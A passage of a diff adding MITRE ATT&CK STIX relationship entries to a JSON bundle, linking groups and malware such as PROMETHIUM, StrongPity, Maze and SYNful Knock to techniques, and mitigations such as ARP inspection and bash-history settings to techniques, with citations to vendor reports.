"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--66e5238f-c1f7-4094-8c2e-e8e41a4c12f3", + "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created self-signed digital certificates for use in HTTPS C2 traffic.(Citation: Talos Promethium June 2020)", + "target_ref": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", + "modified": "2020-10-15T01:57:09.092Z", + "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-15T01:57:09.092Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", + "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.", + "source_name": "Talos Promethium June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a624f944-5f3e-4713-9e89-9964ae82c677", + "description": "[StrongPity](https://attack.mitre.org/software/S0491) has encrypted C2 traffic using SSL/TLS.(Citation: Talos Promethium June 2020)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-10-15T02:00:30.447Z", + "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-15T02:00:30.447Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", + "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.", + "source_name": "Talos Promethium June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4ac5b593-8f47-46cc-9af3-fcb0eb20f66e", + "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created self-signed certificates to sign malicious installers.(Citation: Bitdefender StrongPity June 2020)", + "target_ref": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", + "modified": "2020-10-22T18:13:16.606Z", + "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-15T02:02:39.748Z", + "external_references": [ + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", + "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.", + "source_name": "Bitdefender StrongPity June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1b7c7b5c-22df-4713-be96-818a8916e6d1", + "target_ref": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", + "modified": "2020-10-15T02:59:38.710Z", + "source_ref": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-10-15T02:59:38.710Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cea07509-b84d-4b25-b9e8-758a8e66b3f1", + "description": "Consider enabling DHCP Snooping and Dynamic ARP Inspection on switches to create mappings between IP addresses requested via DHCP and ARP tables and tie the values to a port on the switch that may block bogus traffic.(Citation: Cisco ARP Poisoning Mitigation 2016)(Citation: Juniper DAI 2020)", + "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "modified": "2021-07-28T01:04:39.490Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-15T12:05:58.901Z", + "external_references": [ + { + "url": "https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series-switches/white_paper_c11_603839.html", + "description": "King, J., Lauerman, K. (2016, January 22). ARP Poisoning (Man-in-the-Middle) Attack and Mitigation Technique. Retrieved October 15, 2020.", + "source_name": "Cisco ARP Poisoning Mitigation 2016" + }, + { + "url": "https://www.juniper.net/documentation/en_US/junos/topics/task/configuration/understanding-and-using-dai.html", + "description": "Juniper. (2020, September 23). Understanding and Using Dynamic ARP Inspection (DAI). Retrieved October 15, 2020.", + "source_name": "Juniper DAI 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--59c65423-347b-4a09-a24d-c228faaa5119", + "description": "Train users to be suspicious about certificate errors. Adversaries may use their own certificates in an attempt to intercept HTTPS traffic. Certificate errors may arise when the application\u2019s certificate does not match the one expected by the host.", + "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "modified": "2021-07-28T01:04:39.679Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-15T12:05:58.908Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--55e36f24-f7dd-4966-b39f-88349b86fff3", + "description": "Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.", + "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "modified": "2021-07-28T01:04:39.669Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-15T12:05:58.903Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--07bc8502-7a60-4d19-b1e1-f4fb081ed50d", + "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.", + "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "modified": "2021-07-28T01:04:39.671Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-15T12:05:58.955Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c44ff9d1-8718-49d7-9054-f7c89a221c93", + "description": "Create static ARP entries for networked devices. Implementing static ARP entries may be infeasible for large networks.", + "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "modified": "2021-07-28T01:04:39.677Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-15T12:05:58.958Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8fe9affe-bf8d-4392-882d-d3e737eb5c43", + "description": "Consider disabling updating the ARP cache on gratuitous ARP replies.", + "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "modified": "2021-07-28T01:04:39.674Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-15T12:05:58.959Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--559d4b9f-55ed-4626-9be2-a64638d0bfc3", + "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "modified": "2020-10-15T12:05:58.968Z", + "source_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-10-15T12:05:58.968Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1e03e6e0-8b7b-4e93-a955-245561085aae", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has used custom tools to facilitate ARP cache poisoning.(Citation: Cylance Cleaver)", + "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "modified": "2021-04-21T16:41:34.830Z", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-15T13:56:46.934Z", + "external_references": [ + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--00876444-466d-40fe-8de5-0c13fcd0ea1a", + "description": "Make sure that the HISTCONTROL environment variable is set to \u201cignoredups\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", + "target_ref": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", + "modified": "2021-04-24T13:59:13.058Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-15T16:47:27.531Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dbb28d6a-0007-467a-ae7a-bf09eddd436c", + "description": "Prevent users from changing the HISTCONTROL, HISTFILE, and HISTFILESIZE environment variables. (Citation: Securing bash history)", + "target_ref": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", + "modified": "2021-04-24T13:59:13.068Z", + "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-15T16:47:27.551Z", + "external_references": [ + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7b817a81-02a9-48f0-8166-9e25b6860a76", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used publicly available malware for privilege escalation.(Citation: Mandiant APT1)", + "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", + "modified": "2020-10-22T18:35:55.876Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-15T20:57:52.171Z", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0783831d-da64-4bb3-a54e-c5149e7e0d76", + "description": "(Citation: Unit42 RDAT July 2020)", + "target_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", + "modified": "2020-10-15T23:51:41.311Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-15T23:51:41.311Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", + "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. 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Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.", + "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "modified": "2021-09-28T13:08:18.728Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-16T12:22:53.928Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7833393c-1a00-432b-beed-8225f754a5bd", + "description": "Train users to be suspicious about certificate errors. Adversaries may use their own certificates in an attempt to intercept HTTPS traffic. Certificate errors may arise when the application\u2019s certificate does not match the one expected by the host.", + "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "modified": "2021-09-28T13:08:18.718Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-16T13:39:46.822Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3de6d2ba-842b-4f60-b177-d8082eebbb1e", + "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.", + "target_ref": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", + "modified": "2021-04-15T03:40:20.611Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T04:14:47.401Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--756acf5d-6765-4611-b451-f855eefcbb77", + "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.", + "target_ref": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6", + "modified": "2021-04-15T03:43:12.922Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T04:15:36.481Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a581fb2c-604a-4417-b782-cafd76b11c37", + "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.", + "target_ref": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", + "modified": "2021-04-15T03:41:33.705Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T04:16:36.949Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--59f80c0d-e8d7-48f6-960a-3d4b593f8b33", + "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.", + "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "modified": "2021-04-15T03:42:26.936Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T04:17:45.388Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ca433ac6-fb5a-41bc-969b-4721571fe836", + "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.", + "target_ref": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1", + "modified": "2021-08-16T15:23:38.783Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T13:40:11.224Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fd44a14f-1ca5-4356-a6fe-c5507a77d490", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "modified": "2020-10-19T13:40:11.238Z", + "source_ref": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-10-19T13:40:11.238Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--20cedb41-1f7b-44df-8d49-5d6fc166c557", + "description": "[Maze](https://attack.mitre.org/software/S0449) operators have created scheduled tasks masquerading as \"Windows Update Security\", \"Windows Update Security Patches\", and \"Google Chrome Security Update\" designed to launch the ransomware.(Citation: Sophos Maze VM September 2020) ", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "modified": "2020-10-19T13:55:56.024Z", + "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-19T13:55:56.024Z", + "external_references": [ + { + "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", + "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020.", + "source_name": "Sophos Maze VM September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--62c1a647-4a39-45b1-8d68-99b19ec12a78", + "description": "[Maze](https://attack.mitre.org/software/S0449) has issued a shutdown command on a victim machine that, upon reboot, will run the ransomware within a VM.(Citation: Sophos Maze VM September 2020)", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "modified": "2020-10-19T16:33:42.242Z", + "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-19T13:55:56.273Z", + "external_references": [ + { + "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", + "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020.", + "source_name": "Sophos Maze VM September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ac04879c-2316-4c3c-86e4-8fac1e80fb49", + "description": "Upon identifying a compromised network device being used to bridge a network boundary, block the malicious packets using an unaffected network device in path, such as a firewall or a router that has not been compromised. Continue to monitor for additional activity and to ensure that the blocks are indeed effective.", + "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", + "modified": "2020-10-20T15:54:10.968Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T16:08:29.990Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3541e998-a3ac-42d7-8a66-f66da6f9162a", + "description": "Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS. Follow vendor prescribed best practices for hardening access control.(Citation: Cisco IOS Software Integrity Assurance - TACACS)", + "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", + "modified": "2020-10-20T15:54:10.994Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T16:08:30.018Z", + "external_references": [ + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#39", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - TACACS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--37a08308-6dc4-4e20-bdb1-907b37cda04b", + "description": "Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)", + "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", + "modified": "2020-10-20T15:54:11.013Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T16:08:30.023Z", + "external_references": [ + { + "url": "https://pages.nist.gov/800-63-3/sp800-63b.html", + "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", + "source_name": "NIST 800-63-3" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--415fc129-cac9-4d8c-8285-8ea563489b03", + "description": "Restrict administrator accounts to as few individuals as possible, following least privilege principles. Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.", + "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", + "modified": "2020-10-20T15:54:11.017Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T16:08:30.026Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e85b405b-bd20-4f66-aebc-3726768d46ed", + "description": "Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always encrypted, per vendor recommendations.(Citation: Cisco IOS Software Integrity Assurance - AAA)", + "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", + "modified": "2020-10-21T01:42:22.164Z", + "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-19T16:08:30.029Z", + "external_references": [ + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#38", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. 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Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", + "target_ref": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41", + "modified": "2021-04-15T03:45:30.962Z", + "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-20T03:33:58.292Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e58cc6e6-cc6c-4a31-9056-e24c8071c736", + "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", + "target_ref": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0", + "modified": "2021-04-15T03:47:02.747Z", + "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-20T03:34:45.501Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--86c466ea-44e7-4018-a223-ce8d2ab81bc8", + "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. 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Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", + "target_ref": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", + "modified": "2021-04-15T03:51:42.697Z", + "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-20T03:38:28.309Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6417adf9-8767-4258-9d26-6e95a43bef47", + "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. 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Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", + "target_ref": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", + "modified": "2021-04-15T03:52:41.068Z", + "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-20T03:39:41.638Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4bb2d90a-468a-48af-8912-5386d2a1aa1d", + "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. 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Other facets of this technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "modified": "2021-10-16T17:09:26.487Z", + "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-20T15:42:48.349Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1569b958-8b61-42bc-8171-91a068d7fe1a", + "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", + "target_ref": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", + "modified": 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Code for new functionality can be included in these messages.(Citation: FireEye - Synful Knock)", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "modified": "2020-10-22T17:35:30.279Z", + "source_ref": "malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-21T14:15:47.328Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html", + "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. 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Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + } + ] + }, + { 